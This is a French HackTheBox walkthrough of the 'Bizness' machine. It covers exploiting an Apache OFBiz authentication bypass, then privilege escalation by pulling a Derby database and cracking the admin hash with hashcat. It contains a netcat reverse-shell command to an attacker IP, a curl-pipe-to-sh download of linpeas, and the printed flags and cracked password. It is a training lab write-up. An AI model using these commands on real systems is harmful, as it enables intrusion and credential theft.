HackTheBox Walkthrough - Bizness

  • Machine ciblée : Bizness.

  • Répertoire : /home/kali/Bizness

  • Temps passé dessus : 8h

  • Terminé : 2692e

Changelog du template

  • Version 1.0 - Sep. 2022 : création du template de base

  • Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base

  • Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe

  • Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit

  • Version 1.4 - Dec. 2022 : Changement de l’export vers searchsploit pour gagner du temps + rajout des scripts vuln sur le full pour confirmer.

  • Version 1.5 - Nov. 2023 : Déplacement des fichiers dans un dossiers « machines » pour pas pourrir mon /home.

  • Pour la version 1.6 : Gérer le montage de VPN. [if Tun0 existe and IP ~=~ 10.0.0.X] Rien, sinon lancer le vpn.

Phase 1 : Reconnaissance

┌──(kali㉿kali)-[~]
└─$
name="Bizness"
repository="/home/kali/machines/$name"
ip="10.129.245.205"
domain='htb'
cd $repository 2&>/dev/null || mkdir -p $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts > /dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts

nmap  -Pn -A -T5 --top-port 1000 -oN $repository/txt -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
nmap  -Pn -A -T5 -p - --script vuln -oN $repository/full -oX $repository/fullsploitable $ip
sudo nmap  -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable


PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp  open  http     nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
443/tcp open  ssl/http nginx 1.18.0
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after:  2328-11-10T20:03:40
|_http-title: Did not follow redirect to https://bizness.htb/
| tls-nextprotoneg: 
|_  http/1.1
| tls-alpn: 
|_  http/1.1
|_http-server-header: nginx/1.18.0
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Du web, du Web en https et du ssh. C’est parti !

Phase 2 : Analyse

┌──(kali㉿kali)-[~/machines/Bizness]
└─$ gobuster dir  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -ku https://$name.$domain --exclude-length 0  
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://Bizness.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length:          0
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/control              (Status: 200) [Size: 34633]

A ce moment là, en ouvrant la page control, on voit que nous sommes sur un apache OFBiz. C’est plutôt raccord avec le nom de la box (merci les gars ! on aime avoir le même site http que le nom de la box d’ailleurs !). Recherche google on tombe sur une CVE assez sympa. En gros, il est possible d’éxécuter du code en mettant les bons paramètres. On est parti pour essayer !

cool mais sert à rien

À ce moment là, on se dit que l’application a changé quelques chemins par rapport aux POC. On va donc fouiller du côté du dossier control.

┌──(kali㉿kali)-[~/machines/Bizness]
└─$ wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  --hl 491 https://$name.$domain/control/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://Bizness.htb/control/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000053:   200        185 L    598 W      11060 Ch    "login"
000000077:   200        140 L    496 W      9308 Ch     "main"
000000061:   200        179 L    580 W      10756 Ch    "help"
000000138:   200        140 L    496 W      9308 Ch     "view"

J’avais extrapolé que l’application travaillée sur view et non xmlrpc car le fonctionnement avait l’air assez similaire … Bah en faite non, c’est juste des trucs en plus, il faut lancer l’exploit sur la racine du site.

Phase 3 : User

La particularité ici est que les shell de base (mkfifo et sh -i) ne fonctionne pas. J’ai galéré un peu à trouver le bon reverseshell.

┌──(kali㉿kali)-[~]
└─$ while $true ; do rlwrap -cAr nc -lvnp 3333 ; done                                                                                                      
listening on [any] 3333 ...

┌──(kali㉿kali)-[~/machines/Bizness/Apache-OFBiz-Authentication-Bypass]
└─$ python3 ./exploit.py --url https://$name.$domain --cmd 'nc 10.10.14.163 3333 -e /bin/bash'
id
uid=1001(ofbiz) gid=1001(ofbiz-operator) groups=1001(ofbiz-operator)
cd
ls
user.txt
cat user.txt
147f1392c3b173c5f4773d63e2c26e53

Phase 4 : Élévation de privilège

Bon, on est d’accord, le shell est un peu déguellasse quand même. On va se donner un meilleur accès.

ls -l ~/.ssh/authorized_keys

mkdir ~/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILldHbzS58Jn4l08Z2NKcDSSFBBDT0LzHVU9AmZ4VOfD' > ~/.ssh/authorized_keys
chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys 
ls -l ~/.ssh/authorized_keys
-rw------- 1 ofbiz ofbiz-operator 81 Jan 10 13:12 /home/ofbiz/.ssh/authorized_keys

┌──(kali㉿kali)-[~/machines/Bizness/Apache-OFBiz-Authentication-Bypass]
└─$ ssh -i ~/.ssh/id_ecdsa  ofbiz@$name
Last login: Mon Jan  8 05:31:22 2024 from 10.10.14.23

ofbiz@bizness:~$ 

Nous y voilà. Maintenant, devenons root.

ofbiz@bizness:~$ curl http://10.10.14.163:8000/linpeas.sh|sh

╔══════════╣ Analyzing .service files
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services                                         
/etc/systemd/system/multi-user.target.wants/ofbiz.service is calling this writable executable: /opt/ofbiz/gradlew   
/etc/systemd/system/multi-user.target.wants/ofbiz.service is calling this writable executable: /opt/ofbiz/gradlew
/etc/systemd/system/ofbiz.service is calling this writable executable: /opt/ofbiz/gradlew
/etc/systemd/system/ofbiz.service is calling this writable executable: /opt/ofbiz/gradlew
You can't write on systemd PATH

Ok, ce bloc semble intéressant et remonte en jaune. Dans la vrai vie, il l’est. ici pas tant que ça.

  • Le concept :

    • Je peux écrire le fichier gradlew ;

    • Donc je peux le modifier …

    • Donc je peux mettre un echo /root/root.txt ou n’importe quel autre commande pour avoir une compte root à la place. Comme c’est root qui lance les services, j’ai gagné.

  • Le problème :

    • Pour que root lance le service, il faudrait qu’il y ai une raison …

    • Si je fais planter le service, aucun humain ne va le relancer ici.

  • Les reflexions annexes :

    • Pour que ça soit transparent, j’aurai du déplacer le fichier sous un autre nom très proche (ex : avec un espace insécable après).

La base de donnée

A ce moment là, j’ai regardé dans le forum. Certains donnaient comme piste la base de donnée. Essayons tout ça : Déjà, il faut savoir où elle se trouve. Recherche google, on a des pistes. Maintenant, allons voir ce qu’elle nous dit :

ofbiz@bizness:~$ cd /opt/ofbiz/framework/entity/config
ofbiz@bizness:/opt/ofbiz/framework/entity/config$ vi entityengine.xml

    <delegator name="default" entity-model-reader="main" entity-group-reader="main" entity-eca-reader="main" distributed-cache-clear-enabled="false">
        <group-map group-name="org.apache.ofbiz" datasource-name="localderby"/>
        <group-map group-name="org.apache.ofbiz.olap" datasource-name="localderbyolap"/>
        <group-map group-name="org.apache.ofbiz.tenant" datasource-name="localderbytenant"/>
    </delegator>
        <inline-jdbc
            jdbc-driver="org.apache.derby.jdbc.EmbeddedDriver"
            jdbc-uri="jdbc:derby:ofbiz;create=true"
            jdbc-username="ofbiz"
            jdbc-password-lookup="derby-ofbiz"
            isolation-level="ReadCommitted"
            pool-minsize="2"
            pool-maxsize="250"
            test-on-borrow="true"
            pool-jdbc-test-stmt="values 1"
            soft-min-evictable-idle-time-millis="600000"
            time-between-eviction-runs-millis="600000"/>
        <inline-jdbc
            jdbc-driver="org.apache.derby.jdbc.EmbeddedDriver"
            jdbc-uri="jdbc:derby:ofbizodbc;create=true"
            jdbc-username="ofbiz"
            jdbc-password-lookup="derby-ofbizodbc"
            isolation-level="ReadCommitted"
            pool-minsize="2"
            pool-maxsize="250"
            time-between-eviction-runs-millis="600000"/>
        <inline-jdbc
            jdbc-driver="org.apache.derby.jdbc.EmbeddedDriver"
            jdbc-uri="jdbc:derby:ofbizolap;create=true"
            jdbc-username="ofbiz"
            jdbc-password-lookup="derby-ofbizolap"
            isolation-level="ReadCommitted"
            pool-minsize="2"
            pool-maxsize="250"
            time-between-eviction-runs-millis="600000"/>

ofbiz@bizness:/opt/ofbiz/framework/entity/config$ find / -name derby 2>/dev/null
/home/ofbiz/.gradle/caches/modules-2/files-2.1/org.apache.derby/derby
/home/ofbiz/.gradle/caches/modules-2/metadata-2.69/descriptors/org.apache.derby/derby
/opt/ofbiz/runtime/data/derby

ofbiz@bizness:/opt/ofbiz/framework/entity/config$ cd /opt/ofbiz/runtime/data/derby
ofbiz@bizness:/opt/ofbiz/runtime/data/derby$ ls
derby.log  ofbiz  ofbizolap  ofbiztenant
ofbiz@bizness:/opt/ofbiz/runtime/data/derby$ cd ofbiz
ofbiz@bizness:/opt/ofbiz/runtime/data/derby/ofbiz$ ls
dbex.lck  db.lck  log  README_DO_NOT_TOUCH_FILES.txt  seg0  service.properties  tmp

ofbiz@bizness:/opt/ofbiz/runtime/data/derby$ tar -czf /tmp/ofbiz.tgz ./ofbiz 

┌──(kali㉿kali)-[~/machines/Bizness]
└─$ scp -i ~/.ssh/id_ecdsa ofbiz@Bizness:/tmp/ofbiz.tgz ./

┌──(kali㉿kali)-[~/machines/Bizness]
└─$ tar -zxf ofbiz.tgz

Bon, j’ai la database, mais j’en fait quoi maintenant ? Comment on lit des derby ???
J’ai trouvé dbvisualizer, une application pour ouvrir différent type de base de donnée dont les derby. Une fois téléchargée, il suffit de lui préciser que notre base de donnée est une derby Embedded, lui en préciser l’emplacement et les credentials pour y avoir accès. À partir de là, on trouve notre database OFBIZ et notre table USER_LOGIN. Petit check rapide, on voit que le seul compte activé est admin et que sont mot de passe est $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I.

Différents tests

On a trouvé un mot de passe, on tente de le bruteforce !

┌──(kali㉿kali)-[~/machines/Bizness/ofbiz]
└─$ hashcat --quiet -a0 /usr/share/wordlists/rockyou.txt.gz ./pass 
The following 3 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
  18700 | Java Object hashCode()                                     | Raw Checksum
  24900 | Dahua Authentication MD5                                   | FTP, HTTP, SMTP, LDAP Server
  24700 | Stuffit5                                                   | Archive

┌──(kali㉿kali)-[~/machines/Bizness/ofbiz]
└─$ hashcat --quiet -a0 /usr/share/wordlists/rockyou.txt.gz ./pass -m 18700
Hashfile '/usr/share/wordlists/rockyou.txt.gz' on line 1 (123456): Token length exception
Hashfile '/usr/share/wordlists/rockyou.txt.gz' on line 2 (12345): Token length exception

Ça marche pas. Il va falloir comprendre exactement comment est chiffré ce mot de passe. J’ai commencé par des recherches sur internet pas de résultat. Bon, je suis tombé sur BreachForum (HE’S BACK !!!) ; et j’ai vu qu’un mec sortait un bout de code de son chapeau pour générer le codage. J’me dis qu’il doit être écrit quelque part sur le serveur et qu’il faut « juste chercher ».

bizness:/opt$ grep -rin '$SHA$*' ./ 2> /dev/null
ofbiz/gradle/init-gradle-wrapper.sh:102:        echo "$SHASUM_GRADLE_WRAPPER_FILES" | shasum -c -;
ofbiz/docker/docker-entrypoint.sh:237:    SHA1SUM_ESCAPED_STRING=$(printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g')
ofbiz/docker/docker-entrypoint.sh:238:    SHA1SUM_BASE64=$(printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '=')
ofbiz/docker/docker-entrypoint.sh:241:    ENCODED_PASSWORD_HASH="\$SHA\$${SALT}\$${SHA1SUM_BASE64}"
ofbiz/plugins/cmssite/template/docbook/xhtml-1_1/verbatim.xsl:31:  <xsl:if test="$shade.verbatim != 0">
ofbiz/plugins/cmssite/template/docbook/xhtml-1_1/verbatim.xsl:97:  <xsl:if test="$shade.verbatim != 0 and @class='monospaced'">
ofbiz/plugins/cmssite/template/docbook/xhtml/verbatim.xsl:31:  <xsl:if test="$shade.verbatim != 0">
ofbiz/plugins/cmssite/template/docbook/xhtml/verbatim.xsl:97:  <xsl:if test="$shade.verbatim != 0 and @class='monospaced'">
ofbiz/plugins/cmssite/template/docbook/html/verbatim.xsl:36:  <xsl:if test="$shade.verbatim != 0">
ofbiz/plugins/cmssite/template/docbook/html/verbatim.xsl:105:  <xsl:if test="$shade.verbatim != 0 and @class='monospaced'">
ofbiz/plugins/cmssite/template/docbook/fo/verbatim.xsl:72:      <xsl:when test="$shade.verbatim != 0">
ofbiz/plugins/cmssite/template/docbook/fo/verbatim.xsl:169:        <xsl:when test="$shade.verbatim != 0">
ofbiz/plugins/cmssite/template/docbook/fo/verbatim.xsl:193:        <xsl:when test="$shade.verbatim != 0">

Ok donc trois endroits possible, un seul probable : le docker-entrypoint.sh. Regardons son code pour le ENCODED_PASSWORD_HASH en détail.

bizness:/opt$ cat ofbiz/docker/docker-entrypoint.sh

###############################################################################
# Create and load the password hash for the admin user.
load_admin_user() {
  if [ ! -f "$CONTAINER_ADMIN_LOADED" ]; then
    TMPFILE=$(mktemp)

    # Concatenate a random salt and the admin password.
    SALT=$(tr --delete --complement A-Za-z0-9 </dev/urandom | head --bytes=16)
    SALT_AND_PASSWORD="${SALT}${OFBIZ_ADMIN_PASSWORD}"

    # Take a SHA-1 hash of the combined salt and password and strip off any additional output form the sha1sum utility.
    SHA1SUM_ASCII_HEX=$(printf "$SALT_AND_PASSWORD" | sha1sum | cut --delimiter=' ' --fields=1 --zero-terminated | tr --delete '\000')

    # Convert the ASCII Hex representation of the hash to raw bytes by inserting escape sequences and running
    # through the printf command. Encode the result as URL base 64 and remove padding.
    SHA1SUM_ESCAPED_STRING=$(printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g')
    SHA1SUM_BASE64=$(printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '=')

    # Concatenate the hash type, salt and hash as the encoded password value.
    ENCODED_PASSWORD_HASH="\$SHA\$${SALT}\$${SHA1SUM_BASE64}"

On comprends donc que le code se génère de cette façon :

  • On prends un SALT aléatoire de 16 charactères alphanumériques

  • On le concatène au mot de passe

  • on fait un sha1sum du concaténat

  • On le converti d’une façon qui nous convient puis on l’encode en base64url.

  • Et on formate le text pour le mettre en base.

On connait notre salt (d) ; notre algo … On est parti pour généré des hash jusqu’à ce qu’il valle notre ligne !

En utilisant l’ago pour obtenir un hash OFBIZ

Cette méthode consiste à regénérer l’algorithme que l’on trouvé et le faire boucler sur tout RockYou, jusqu’à ce que l’on trouve une correspondance. Comme j’ai vu le mot de passe sur d’autre write-up (ouais, j’aime pas le brute-force), j’ai validé avant que mon script était fonctionnel. Il l’est, mais il est tellement long ! N.B : Bon, il y a une astuce qui m’a pris presque plus longtemps que le chall en lui même. Si jamais tu n’enregirstre pas le fichier dans un bash (et le met en chmod 700), l’interpréteur sera zsh ou sh… Et printf ne va pas bien interpréter l’hexadécimal ! Et ça fait des chaines de mots de passe beaucoup plus grand que prévu ==> le script ne marche pas. Il faut bien enregistrer ça quelque part.

┌──(kali㉿kali)-[~/machines/Bizness]
└─$ vi ./hasher.sh 

#!/bin/bash
SALT="d"
ENCODED_PASSWORD_HASH="" 
for i in `$1`; do
  echo $i
  SALT_AND_PASSWORD="${SALT}${i}"
  SHA1SUM_ASCII_HEX=$(printf "$SALT_AND_PASSWORD" | sha1sum | cut --delimiter=' ' --fields=1 --zero-terminated | tr --delete '\000')

    # Convert the ASCII Hex representation of the hash to raw bytes by inserting escape sequences and running
    # through the printf command. Encode the result as URL base 64 and remove padding.
    SHA1SUM_ESCAPED_STRING=$(printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g')
    SHA1SUM_BASE64=$(printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '=')

    # Concatenate the hash type, salt and hash as the encoded password value.
    ENCODED_PASSWORD_HASH="\$SHA\$${SALT}\$${SHA1SUM_BASE64}"
    if [ $ENCODED_PASSWORD_HASH == `cat ~/machines/Bizness/ofbiz/pass` ] ; then echo "password = $i ; hash = $ENCODED_PASSWORD_HASH" ; fi
done

┌──(kali㉿kali)-[~/machines/Bizness]
└─$ chmod +x hasher.sh

┌──(kali㉿kali)-[~/machines/Bizness/ofbiz]
└─$ ./hasher.sh /usr/share/wordlists/rockyou.txt

Bon, heureusement que je connais le mot de passe quand je l’ai lancé, parce que c’est super long à bruteforce. Tellement que j’ai travaillé sur d’autre méthode, en 4 heures, toujours pas de mot de passe. Je pense que mon approche est plutôt intéressante, mais comme ils ont pris un mot de passe très loin dans RockYou, elle n’est pas adaptée malheureusement …

En reversant l’algo pour obtenir un vrai hash SHA1

L’autre solution consiste à reverser le hash puis à envoyer ce dernier à HashCat, qui génère plus vite que nous des hashs. Pour ça, on doit comprendre le fonctionnement de l’algorithme en détail, particulièrement ce qui suit la partie shasum. On sait déjà qu’il le converti d’une façon qui nous convient puis on l’encode en base64url. Donc on va travailler sur l’effet inverse. On va commencer par comprendre ce qu’ils veulent dire par « Convert the ASCII Hex representation of the hash to raw bytes by inserting escape sequences » :

┌──(kali㉿kali)-[~/machines/Bizness]
└─$ printf 'aaaaaaaa' |sed 's/\(..\)\.\?/\\x\1/g'
\xaa\xaa\xaa\xaa

┌──(kali㉿kali)-[~/machines/Bizness]
└─$ printf $(printf 'aaaaaaaa' |sed 's/\(..\)\.\?/\\x\1/g')
����

Ok, donc on comprends par là que le 1er printf rajoute des \x pour que le 2nd printf interprète le charactère comme de l’hexa. On va confirmer ça en affichant un texte en hexa tout simple :

┌──(kali㉿kali)-[~/machines/Bizness]
└─$ printf $(printf '48656C6C6F20576F726420210A' |sed 's/\(..\)\.\?/\\x\1/g')
Hello Word !

Ok, j’avoue, je me suis amusé, j’ai failli faire un texte plus long. En vrai, j’avais commencé par coucou, mais j’l’ai changé après pour être plus classe !
Donc cette partie permet de passer d’un texte à son équivalent en hexa. On va donc voir comment faire l’inverse, c’est à dire passer d’une chaine en hexa à son équivalent en texte. Mon objectif est donc qu’en lui mettant Hello World ! en entrée, j’obtienne ma chaine de charactère précédent (modulo le 0A qui est le retour à la ligne). Recherche internet, on retrouve comment faire avec xxd. Ce dernier a peut-être un outil pour faire le travail inverse ?

┌──(kali㉿kali)-[~/machines/Bizness]
└─$ xxd --help
Usage:
       xxd [options] [infile [outfile]]
[... Vous le ferez vous même si ça vous intéresse ...]

┌──(kali㉿kali)-[~/machines/Bizness]
└─$ echo 'Hello Word !' | xxd -u -ps
48656C6C6F20576F726420210A

Ok, on a donc notre première partie. Maintenant, reste à voir la partie base64. Un help aussi, on voit qu’il prévoit une fonction décode. On a plus qu’à mettre tout ça en oeuvre :

┌──(kali㉿kali)-[~/machines/Bizness]
└─$ printf $(printf uP0_QaVBpDWFeo8-dRzDqRwXQ2I | basenc --base64url --decode 2> /dev/null | xxd -ps)\\x0a
b8fd3f41a541a435857a8f3e751cc3a91c174362

N.B Le \\x0a n’est là que pour que ça soit plus lisible sur mon écran (un retour à la ligne). On a notre hash. Avant de l’envoyer, il faut préciser le salt (vous vous souvenez ?) et l’écrire dans le format qui convient à hashcat. Check des format, ne vous faites pas avoir comme moi sur la façon qu”hashcat a d’écrire ses chaines.

Hash Mode

Hash Name

Example

110

sha1($pass.$salt)

2fc5a684737ce1bf7b3b239df432416e0dd07357:2014

120

sha1($salt.$pass)

cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024

Perso, j’ai passé un long momen à comprendre le format de la chaine. En 110, on fait un sha1 d’une string qui commence par le mot de passe puis le salt. En 120, on commence par le salt puis le mot de passe. On se rémémorant le script, on voit bien que notre chaîne est SALT_AND_PASSWORD="${SALT}${i}" soit le format 120. Seulement, pour l’écrire dans un format que hashcat comprends, il faut mettre $pass:$salt dans le fichier ! Vous voyez le bug de cerveau que j’ai eu ? Je trouve leur exemple difficilement compréhensible …

┌──(kali㉿kali)-[~/machines/Bizness]
└─$ printf $(printf uP0_QaVBpDWFeo8-dRzDqRwXQ2I | basenc --base64url --decode 2> /dev/null | xxd -ps):d| tee ./pass2
b8fd3f41a541a435857a8f3e751cc3a91c174362:d

┌──(kali㉿kali)-[~/machines/Bizness/ofbiz]
└─$ hashcat --quiet ./pass2 -a 0 /usr/share/wordlists/rockyou.txt -m 120
b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness

Et voilà notre code ! (Enfin !)
On le tente pour devenir root ?

ofbiz@bizness:~$ su - 
Password: 
root@bizness:~# 
b566b11de709c8acc70ea845119dff8a

Nous y voilà !

Récapitulatif

  • On commence par l’exploitation de CVE pour obtenir notre premier accès.

    • Rien de bien fou, un script-kiddie le fait celle là.

    • On est directement utilisateur.

  • Après, on continue avec la recherche de fichiers comportant des informations.

    • Je trouve qu’il était pas mal plus dur, car on a peu de piste (pas de service SQL) qui nous aiguillerai vers ça.

    • J’ai rappatrier les fichiers pour ouvrir la base de donée en local, mais un grep+strings marcherai également.

  • On récupère un mot de passe.

    • Il faut guess pour décoder ou trouver le docker-entrypoint pour comprendre le formating.

    • Pour certains (au travail), ça semblait logique … Pas pour moi

  • Une fois le mot de passe dépilé, on le bruteforce.

    • Ouais, ok, c’est une utilisation plutôt intéressante de hashcat, mais sans plus encore une fois.

  • Et c’est le mot de passe de root.

    • La fin ça fait un peu … « Tout ça pour ça ??? »

A retenir

L’exploit est plutôt sympa à comprendre, je vous conseille de lire le lien que j’ai mis plus haut, il est bien expliqué et vraiment complet (s’il a pas planté depuis).
Côté défense, on coche pas mal de mauvaise case dont logiciel obsolète et réemploie de mot de passe. Pour piéger ceux qui n’avaient que le mot de passe dans la base de donnée (et donc le hash), l’usage d’un poivre aurait été super intéressant ! Mais bon, on est sur une easy alorsz tranquille.
Je suis surpris toutefois par le nombre de Write-up déjà disponible 4 jours après le début de la VM. J’espère que HTB va faire quelque chose contre ça …